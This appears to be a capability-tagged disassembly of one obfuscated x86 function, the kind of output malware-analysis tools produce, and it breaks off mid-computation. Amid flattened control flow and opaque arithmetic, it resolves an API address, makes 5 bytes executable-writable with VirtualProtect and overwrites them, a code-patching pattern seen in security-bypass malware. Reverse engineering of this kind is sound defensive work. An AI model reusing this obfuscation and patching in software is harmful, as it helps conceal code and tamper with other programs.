Function at 0x1012ac50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x68
mov esi, esp
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x48], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x4c], eax
mov eax, dword [0x1022bc48]
xor eax, ebp
mov dword [esi + 0x60], eax
mov eax, dword [0x102290ac]
mov edi, dword [0x102290b0]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, edi
and edx, ecx
mov ebx, edi
xor ebx, 0xffffffff
mov ecx, eax
and ecx, ebx
imul ecx, edx
mov edx, eax
and edx, edi
or eax, edi
imul eax, edx
add eax, ecx
imul eax, eax, 0xaf8b22db
mov edi, eax
and edi, edi
xor edi, 0xffffffff
and edi, 0xa6d6c5ce
xor edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xa6d6c5ce
mov edx, 0xffffffff
xor edx, 0xa6d6c5ce
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor edi, 0xffffffff
xor eax, 0xffffffff
or edi, eax
sub edi, 0xb508d6cb
xor edi, 0xf8a23064
mov eax, edi
xor eax, 0xffffffff
and eax, 0xd8001fbd
mov edx, 0xffffffff
xor edx, 0xd8001fbd
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xe17869ed
and ecx, 0xd8001fbd
and edx, 0xe17869ed
or eax, edi
or ecx, edx
xor eax, ecx
mov ecx, 0xafe3b633
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x65d85efa
add eax, ecx
add eax, 1
mov ecx, 0xcd7f223e
xor edx, edx
div ecx
xor eax, 0x790f8129
mov ecx, 0xeb3b918b
xor edx, edx
div ecx
or eax, 0x29d86d6b
imul eax, eax, 0xd5e94034
sub eax, 0xc4636f65
add eax, 0x3a5d74c8
sub eax, 0x7e063300
sub eax, 0x3a5d74c8
xor eax, 0xda90c6c6
xor eax, 0x2ff68e4b
mov ecx, eax
xor ecx, 0x204ade43
mov edx, 0xffffffff
xor edx, 0x204ade43
and eax, edx
shl eax, 1
sub eax, ecx
imul ecx, eax, 0x79db54ff
sub ecx, 0xfd914ace
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xfdc6e1cf
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x138f427b
or edx, 0x138f427b
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x138f427b
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
imul ecx, eax, 0xc7a93615
mov edx, 0xffffffff
xor edx, 0x298367
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0xfebff09e
xor edx, edx
div ecx
sub eax, 0xf1c999dc
add eax, 0x678e9fed
add eax, 0xf1c999dc
mov ecx, 0xffffffff
xor ecx, 0x1bb3d44e
add eax, ecx
add eax, 1
sub eax, 0x3d6fcde2
add eax, 0x7276e68
add eax, 0x3d6fcde2
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1decef2d
mov edi, 0xffffffff
xor edi, 0x1decef2d
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x1decef2d
or eax, 0x1decef2d
imul eax, edx
add eax, ecx
mov ecx, 0xd0abd47c
xor edx, edx
div ecx
xor eax, 0x288656f8
add eax, 0x76df6106
mov ecx, 0xea3224ec
xor edx, edx
div ecx
mov ecx, eax
xor eax, eax
sub eax, 0xd22fa74a
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x514f9d07
mov edx, 0xffffffff
xor edx, 0x514f9d07
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov dword [esi + 0x5c], 0x33bb40ad
lea ecx, [esi + 0x5c]
mov dword [esi + 0x58], ecx
sub eax, 0xd91c7d66
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x58]
mov dword [esi + 0x54], eax
mov eax, dword [esi + 0x5c]
mov dword [esi + 0x44], eax
sub eax, 0x815f4680
je 0x1012d609
jmp 0x1012aee5
mov eax, dword [esi + 0x44]
sub eax, 0x82d3eca0
je 0x1012c088
jmp 0x1012aef8
mov eax, dword [esi + 0x44]
sub eax, 0x8386f776
je 0x1012d5bd
jmp 0x1012af0b
mov eax, dword [esi + 0x44]
sub eax, 0x856b863e
je 0x1012cf72
jmp 0x1012af1e
mov eax, dword [esi + 0x44]
sub eax, 0x8b2c8d3e
je 0x1012d1f6
jmp 0x1012af31
mov eax, dword [esi + 0x44]
sub eax, 0x93d6bb66
je 0x1012b60b
jmp 0x1012af44
mov eax, dword [esi + 0x44]
sub eax, 0xadbd7789
je 0x1012c36b
jmp 0x1012af57
mov eax, dword [esi + 0x44]
sub eax, 0xb3111e31
je 0x1012cea9
jmp 0x1012af6a
mov eax, dword [esi + 0x44]
sub eax, 0xb404a5f8
je 0x1012c8f4
jmp 0x1012af7d
mov eax, dword [esi + 0x44]
sub eax, 0xbac4b401
je 0x1012c658
jmp 0x1012af90
mov eax, dword [esi + 0x44]
sub eax, 0xc6f3c222
je 0x1012d504
jmp 0x1012afa3
mov eax, dword [esi + 0x44]
sub eax, 0xcd3e295d
je 0x1012bb94
jmp 0x1012afb6
mov eax, dword [esi + 0x44]
sub eax, 0xd5072c23
je 0x1012b8c7
jmp 0x1012afc9
mov eax, dword [esi + 0x44]
sub eax, 0xd5a634e3
je 0x1012cf64
jmp 0x1012afdc
mov eax, dword [esi + 0x44]
sub eax, 0xdc8a42a6
je 0x1012d4cc
jmp 0x1012afef
mov eax, dword [esi + 0x44]
sub eax, 0xeb832a09
je 0x1012d422
jmp 0x1012b002
mov eax, dword [esi + 0x44]
sub eax, 0xf00893cb
je 0x1012bdf6
jmp 0x1012b015
mov eax, dword [esi + 0x44]
sub eax, 0xfaa70bb3
je 0x1012d4aa
jmp 0x1012b028
mov eax, dword [esi + 0x44]
sub eax, 0xfe900f91
je 0x1012d204
jmp 0x1012b03b
mov eax, dword [esi + 0x44]
sub eax, 0xb12f385
je 0x1012b16a
jmp 0x1012b04e
mov eax, dword [esi + 0x44]
sub eax, 0x167d4dde
je 0x1012b6c1
jmp 0x1012b061
mov eax, dword [esi + 0x44]
sub eax, 0x172529e8
je 0x1012b3e0
jmp 0x1012b074
mov eax, dword [esi + 0x44]
sub eax, 0x1814e9b1
je 0x1012be2e
jmp 0x1012b087
mov eax, dword [esi + 0x44]
sub eax, 0x1ab802e5
je 0x1012d488
jmp 0x1012b09a
mov eax, dword [esi + 0x44]
sub eax, 0x27fbb5ce
je 0x1012c379
jmp 0x1012b0ad
mov eax, dword [esi + 0x44]
sub eax, 0x33bb40ad
je 0x1012b14a
jmp 0x1012b0c0
mov eax, dword [esi + 0x44]
sub eax, 0x4f152372
je 0x1012cbbf
jmp 0x1012b0d3
mov eax, dword [esi + 0x44]
sub eax, 0x53e2840a
je 0x1012d1aa
jmp 0x1012b0e6
mov eax, dword [esi + 0x44]
sub eax, 0x59634f16
je 0x1012bbb1
jmp 0x1012b0f9
mov eax, dword [esi + 0x44]
sub eax, 0x5a761087
je 0x1012d47a
jmp 0x1012b10c
mov eax, dword [esi + 0x44]
sub eax, 0x640ffaaa
je 0x1012cb77
jmp 0x1012b11f
mov eax, dword [esi + 0x44]
sub eax, 0x7838074c
je 0x1012d4ea
jmp 0x1012b132
mov eax, dword [esi + 0x44]
sub eax, 0x7a8f06ce
je 0x1012cbd1
jmp 0x1012b145
jmp 0x1012d654
mov eax, dword [esi + 0x54]
mov edi, dword [esi + 0x50]
mov ecx, 0x1ab802e5
mov edx, 0xb12f385
cmp edi, 0x9227b179
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [0x102290b4]
and eax, dword [0x102290b8]
mov ecx, eax
xor ecx, 0x76639f40
xor ecx, 0xffffffff
and ecx, 0x76639f40
shl ecx, 1
sub ecx, 0x76639f40
sub eax, ecx
add eax, 0x6084d195
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xe4d15567
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xef55707f
mov edi, 0xffffffff
xor edi, 0xef55707f
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xef55707f
or eax, 0xef55707f
imul eax, edx
add eax, ecx
mov ecx, 0x52316e69
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x2ba7ab3c
mov edx, 0xffffffff
xor edx, 0x2ba7ab3c
and ecx, edx
or eax, ecx
mov ecx, 0xbf9e60a3
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x74c5121a
and ecx, edx
or eax, 0x74c5121a
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x9d3b3f38
and ecx, 0x9d3b3f38
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x8eba20a2
mov ecx, 0xec06fe41
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0xd6063840
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xcdd54021
add ecx, eax
mov eax, ecx
and eax, 0xa09b5467
xor ecx, 0xa09b5467
or eax, ecx
mov ecx, 0xa51530e0
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xe8385266
add eax, ecx
xor eax, 0x24a1d6c0
mov edx, eax
xor edx, 0xffffffff
and edx, 0xb60998a4
mov edi, 0xffffffff
xor edi, 0xb60998a4
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xb60998a4
or eax, 0xb60998a4
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x511328eb
xor ecx, 0xffffffff
add eax, 0x511328eb
add eax, 1
add eax, ecx
and eax, 0x46a4c6e5
or eax, 0xaefc9eb1
mov edi, 0xffffffff
xor edi, 0x61b289ea
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x61b289ea
or eax, 0x61b289ea
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x6586cb74
mov edx, 0xffffffff
xor edx, 0x6586cb74
and eax, edx
or ecx, eax
add ecx, 0x13d1c438
sub ecx, 0x7fd9d047
sub ecx, 0x13d1c438
add ecx, 0xeefcbf23
mov eax, ecx
and eax, 0x1590e92f
xor ecx, 0x1590e92f
or eax, ecx
and eax, 0x97b1404f
add eax, 0x48acb550
imul eax, eax, 0xe64b1ce1
sub eax, 0x725f42a4
mov ecx, 0xb71f1147
xor edx, edx
div ecx
mov edi, eax
mov eax, edi
and eax, 0xbe431068
shl eax, 1
xor edi, 0xbe431068
add edi, eax
sub edi, 0x9f456a14
mov eax, edi
xor eax, 0xffffffff
and eax, 0x2209dd8
mov edx, 0xffffffff
xor edx, 0x2209dd8
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x9fc3e5a9
and ecx, 0x2209dd8
and edx, 0x9fc3e5a9
or eax, edi
or ecx, edx
xor eax, ecx
mov ecx, 0xff6db0e1
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x54]
mov ecx, 0x172529e8
mov edx, 0xb12f385
cmp edi, 0xc0d71fd2
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov ecx, dword [0x102290bc]
add ecx, dword [0x102290c0]
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x46c397a5
mov edi, 0xffffffff
xor edi, 0x46c397a5
and edx, edi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x46c397a5
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x8b59ecec
xor edx, edx
div ecx
and eax, 0x8c33e888
xor eax, 0xda74610
add eax, 0x1a03218e
mov ecx, 0x5a24c05
xor edx, edx
div ecx
or eax, 0x3ac6ef26
sub eax, 0x20a5feff
imul ecx, eax, 0xf6dd45e1
mov eax, ecx
and eax, 0xcc828857
or ecx, 0xcc828857
add eax, ecx
sub eax, 0xc37d8bb
sub eax, 0xf8f8bb23
add eax, 0xc37d8bb
mov edx, eax
xor edx, 0xffffffff
and edx, 0xf494eb38
mov edi, 0xffffffff
xor edi, 0xf494eb38
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xf494eb38
or eax, 0xf494eb38
imul eax, edx
add eax, ecx
mov ecx, 0x6128c7c1
xor edx, edx
div ecx
imul eax, eax, 0xf9dc4860
and eax, 0x2e56ebf8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xdd09c3cc
mov edx, 0xffffffff
xor edx, 0xdd09c3cc
and eax, edx
sub eax, ecx
and eax, 0x2817594b
sub eax, 0x3e1f7f7d
xor eax, 0xa082eca7
imul edi, eax, 0xadf5149
mov eax, edi
xor eax, 0xffffffff
and eax, 0x1e6e6c78
mov edx, 0xffffffff
xor edx, 0x1e6e6c78
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xd62b9207
and ecx, 0x1e6e6c78
and edx, 0xd62b9207
or eax, edi
or ecx, edx
xor eax, ecx
mov ecx, 0x2c1deb7b
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x54]
add ecx, 0xdcd5f103
sub ecx, 0x281578ac
mov edx, ecx
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x34b2c948
or edx, edi
and ecx, 0x34b2c948
xor ecx, 0xffffffff
xor edx, 0xffffffff
xor ecx, 0xffffffff
or edx, ecx
mov ecx, edx
xor ecx, 0xffffffff
mov edi, edx
xor edi, 0xffffffff
and ecx, edi
mov edi, 0xffffffff
xor edi, 0x40c7fd50
mov ebx, 0xffffffff
xor ebx, 0x40c7fd50
and edi, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0x40c7fd50
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
sub ecx, 0x58e3fd28
and ecx, 0xf5f350f8
or ecx, 0x17b4196f
imul ecx, ecx, 0xf6bd0d76
add ecx, 0x3dc91808
imul edx, ecx, 0xe7defda
mov ecx, edx
and ecx, 0x21ade4a4
or edx, 0x21ade4a4
add ecx, edx
imul ecx, ecx, 0x1d5e8cc
mov edi, ecx
and edi, 0x20293a01
xor edi, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x20293a01
or ecx, edx
xor edi, 0xffffffff
xor ecx, 0xffffffff
or edi, ecx
mov ecx, 0x93d6bb66
mov edx, 0x7a8f06ce
cmp edi, 0x646abece
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov edi, 0x939b69d4
push eax
mov ecx, esp
push eax
mov eax, esp
push eax
mov edx, esp
mov ebx, edx
mov dword [esi + 0x3c], ebx
sub esp, 8
mov ebx, esp
and ebx, 0xfffffff8
mov dword [esi + 0x38], ebx
mov esp, ebx
mov ebx, dword [esi + 0x48]
mov dword [ecx], ebx
mov ebx, dword [esi + 0x4c]
mov dword [eax], ebx
mov dword [edx], 0
mov ecx, dword [ecx]
mov dword [esi + 0x34], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
mov edx, dword [esi + 0x34]
mov ecx, eax
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov ecx, dword [esi + 0x38]
mov edx, eax
mov eax, dword [esi + 0x3c]
mov dword [ecx], edx
mov dword [ecx + 4], 0
mov ecx, dword [ecx]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], 5
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, eax
mov eax, dword [esi + 0x54]
cmp ecx, 0
setne cl
mov byte [esi + 0x43], cl
mov ecx, 0x93d6bb66
mov edx, 0x167d4dde
cmp edi, 0xfa598083
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [0x102290cc]
xor edx, edx
div dword [0x102290d0]
sub eax, 0xf85fc83c
sub eax, 0x98117648
and eax, 0x9accafa8
and eax, 0x75cec99b
add eax, 0x5249b6eb
and eax, 0xe69ed3b2
mov ecx, 0xd0980658
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5fa8a8f3
mov edx, 0xffffffff
xor edx, 0x5fa8a8f3
and eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0x3f76aa3c
xor eax, 0xffffffff
or ecx, 0x3f76aa3c
and ecx, eax
sub ecx, 0xbd44b02b
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xb457f85
and ecx, 0xb457f85
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa475f1b7
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xa475f1b7
add eax, edx
sub eax, ecx
add eax, 0x4a4f270b
and eax, 0x3a253022
mov ecx, eax
and ecx, 0x7c0c6bf4
xor ecx, 0xffffffff
add eax, 0x7c0c6bf4
add eax, 1
add eax, ecx
xor eax, 0xf0a022d3
mov ecx, 0xffffffff
xor ecx, 0x88433370
add eax, ecx
add eax, 1
imul ecx, eax, 0xdf38c31a
xor ecx, 0x14726d01
add ecx, 0xd18c822f
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x2fa2ed12
mov edx, 0xffffffff
xor edx, 0x2fa2ed12
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
sub eax, 0x29833103
imul eax, eax, 0x7af04c95
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xa738e432
add eax, ecx
xor eax, 0x98b78519
xor eax, 0xd977f4d6
xor eax, 0xa0f319cb
and eax, 0x1cf85a67
mov ecx, 0xab464966
xor edx, edx
div ecx
mov ecx, eax
mov eax, 0xffffffff
xor eax, 0xa6f87bb7
add ecx, eax
add ecx, 1
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x462e9e84
mov edx, 0xffffffff
xor edx, 0x462e9e84
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0xda19e5e0
mov edi, 0xffffffff
xor edi, 0xda19e5e0
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xda19e5e0
or eax, 0xda19e5e0
imul eax, edx
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xb315b420
mov edi, 0xffffffff
xor edi, 0xb315b420
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xb315b420
or eax, 0xb315b420
imul eax, edx
add eax, ecx
mov ecx, 0xe1616aea
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x54]
or edi, 0x22cd8814
mov ecx, 0xd5072c23
mov edx, 0xfaa70bb3
cmp edi, 0x94271b39
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [0x102290d4]
xor edx, edx
div dword [0x102290d8]
mov ecx, eax
sub ecx, 0x4ad6c3d2
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xe7444673
mov edi, 0xffffffff
xor edi, 0xe7444673
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, 0xe7444673
or ecx, 0xe7444673
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x79f37390
mov edx, 0xffffffff
xor edx, 0x79f37390
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0xc853dbd0
mov edi, 0xffffffff
xor edi, 0xc853dbd0
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xc853dbd0
or eax, 0xc853dbd0
imul eax, edx
add eax, ecx
or eax, 0x4716ed1d
and eax, 0x51365e4e
imul ecx, eax, 0x85f1154f
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xa21962d3
mov edi, 0xffffffff
xor edi, 0xa21962d3
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, 0xa21962d3
or ecx, 0xa21962d3
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x63d84571
or ecx, 0x63d84571
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xbac812ef
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0xc8f32f88
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x728cbc46
xor eax, 0x728cbc46
or ecx, eax
sub ecx, 0x322ea2ec
mov eax, ecx
xor eax, 0xa9c32cd3
xor eax, 0xffffffff
and eax, 0xa9c32cd3
shl eax, 1
sub eax, 0xa9c32cd3
sub ecx, eax
or ecx, 0xa6b6bd29
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x9cd51f19
and ecx, 0x9cd51f19
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul eax, eax, 0xcec25143
xor eax, 0x284ed902
mov ecx, 0x17f95648
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x3fd00ead
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x3260e8d0
mov edi, 0xffffffff
xor edi, 0x3260e8d0
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x3260e8d0
or eax, 0x3260e8d0
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x87abe120
shl ecx, 1
add eax, 0x87abe120
sub eax, ecx
mov ecx, eax
xor ecx, 0x5f21b250
xor ecx, 0xffffffff
and ecx, 0x5f21b250
shl ecx, 1
sub ecx, 0x5f21b250
sub eax, ecx
sub eax, 0x6587c62e
mov edi, 0xffffffff
xor edi, 0xf05b0fb3
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf05b0fb3
or eax, 0xf05b0fb3
imul eax, edx
add eax, ecx
mov ecx, 0xb01b410
xor edx, edx
div ecx
imul eax, eax, 0x8856343f
add eax, 0x507c5ab1
add eax, 0x431a95e4
sub eax, 0x507c5ab1
mov edi, 0xffffffff
xor edi, 0xf9a97d42
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf9a97d42
or eax, 0xf9a97d42
imul eax, edx
add eax, ecx
mov edi, 0xffffffff
xor edi, 0xa00e3236
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa00e3236
or eax, 0xa00e3236
imul eax, edx
add eax, ecx
sub eax, 0x70ecba95
sub eax, 0x6a6aca4
mov ecx, eax
and ecx, 0xb76a8c30
shl ecx, 1
add eax, 0xb76a8c30
sub eax, ecx
and eax, 0x999deb4a
mov ecx, 0xc9f8fb25
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x54]
mov ecx, 0xcd3e295d
mov edx, 0xfaa70bb3
cmp edi, 0x829829e1
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [esi + 0x54]
mov bl, byte [esi + 0x43]
mov ecx, 0x27fbb5ce
mov edx, 0x59634f16
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov ecx, dword [0x102290dc]
mov edx, dword [0x102290e0]
mov eax, ecx
and eax, edx
shl eax, 1
add ecx, edx
sub ecx, eax
and ecx, 0x3ce7956c
sub ecx, 0xe350e616
mov eax, ecx
and eax, 0x987c4376
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x987c4376
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
add eax, 0xcb985d98
sub eax, 0xc4ada45c
mov ecx, 0x7871953b
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xa03bee77
xor eax, 0xa03bee77
or ecx, eax
or ecx, 0x9cef57cc
sub ecx, 0x8fac8c67
sub ecx, 0xeb574933
add ecx, 0x8fac8c67
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa99541c3
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa99541c3
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xd7cf7143
xor edx, edx
div ecx
imul ecx, eax, 0xc31e0243
or ecx, 0xe4dc3443
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xfdfe2100
mov edx, 0xffffffff
xor edx, 0xfdfe2100
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0xffffffff
xor eax, 0x67fbc9b1
add ecx, eax
add ecx, 1
sub ecx, 0xabbaa60
sub ecx, 0xd854cfa3
add ecx, 0xabbaa60
and ecx, 0xf2333019
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x78917d3f
or eax, edx
mov edx, 0x78917d3f
and edx, 0x78917d3f
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x1e8f7b2a
xor edx, edx
div ecx
sub eax, 0xf071773e
xor eax, 0x2886bf75
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xc37769e4
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [esi + 0x30], ecx
mov edi, 0xffffffff
xor edi, 0x1f22b30b
mov edx, 0xffffffff
xor edx, 0x9edd0262
and ecx, 0x9edd0262
and eax, edx
mov dword [esi + 0x28], eax
mov ebx, edi
and ebx, 0x9edd0262
mov eax, edx
and eax, 0x1f22b30b
mov dword [esi + 0x2c], eax
mov eax, dword [esi + 0x28]
or ecx, eax
mov eax, dword [esi + 0x2c]
or ebx, eax
mov eax, dword [esi + 0x30]
xor ecx, ebx
or eax, edi
xor eax, 0xffffffff
or edx, 0x9edd0262
and eax, edx
or ecx, eax
add ecx, 0xd850b697
mov eax, ecx
and eax, 0x374955fe
or ecx, 0x374955fe
add eax, ecx
or eax, 0xf6b16544
and eax, 0x730f86d9
imul eax, eax, 0xa11a166
mov ecx, 0x8be10b2f
xor edx, edx
div ecx
mov ecx, 0xb2bddb9e
xor edx, edx
div ecx
or eax, 0xc9d3f3f0
mov ecx, 0xb7435691
xor edx, edx
div ecx
mov ecx, 0xe318cf5c
xor edx, edx
div ecx
sub eax, 0xaa7bc767
sub eax, 0x2ad2c292
add eax, 0xaa7bc767
mov ecx, 0x28be9cdd
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x54]
mov ecx, 0xf00893cb
mov edx, 0x856b863e
cmp edi, 0x1ed469b4
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0x38]
mov edi, 0x6382e950
mov ecx, dword [ecx]
mov edx, dword [0x1022d0a4]
mov dword [ecx], edx
mov dl, byte [0x1022d0a8]
mov byte [ecx + 4], dl
mov ecx, 0x856b863e
mov edx, 0x1814e9b1
cmp edi, 0xdaacc8bf
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [0x102290ec]
and eax, dword [0x102290f0]
mov edi, 0xffffffff
xor edi, 0xf970fdf5
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf970fdf5
or eax, 0xf970fdf5
imul eax, edx
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x19ea8497
mov edi, 0xffffffff
xor edi, 0x19ea8497
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x19ea8497
or eax, 0x19ea8497
imul eax, edx
add eax, ecx
or eax, 0x952c49ee
mov ecx, eax
and ecx, 0x4339d7f9
shl ecx, 1
xor eax, 0x4339d7f9
add eax, ecx
mov ecx, 0xac70a415
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xd57ac412
sub eax, ecx
sub eax, 0x7e753644
mov ecx, eax
and ecx, 0x4cae45f5
shl ecx, 1
xor eax, 0x4cae45f5
add eax, ecx
sub eax, 0xaefcde1d
mov ecx, eax
xor ecx, 0x522155fb
xor ecx, 0xffffffff
or eax, 0x522155fb
and eax, ecx
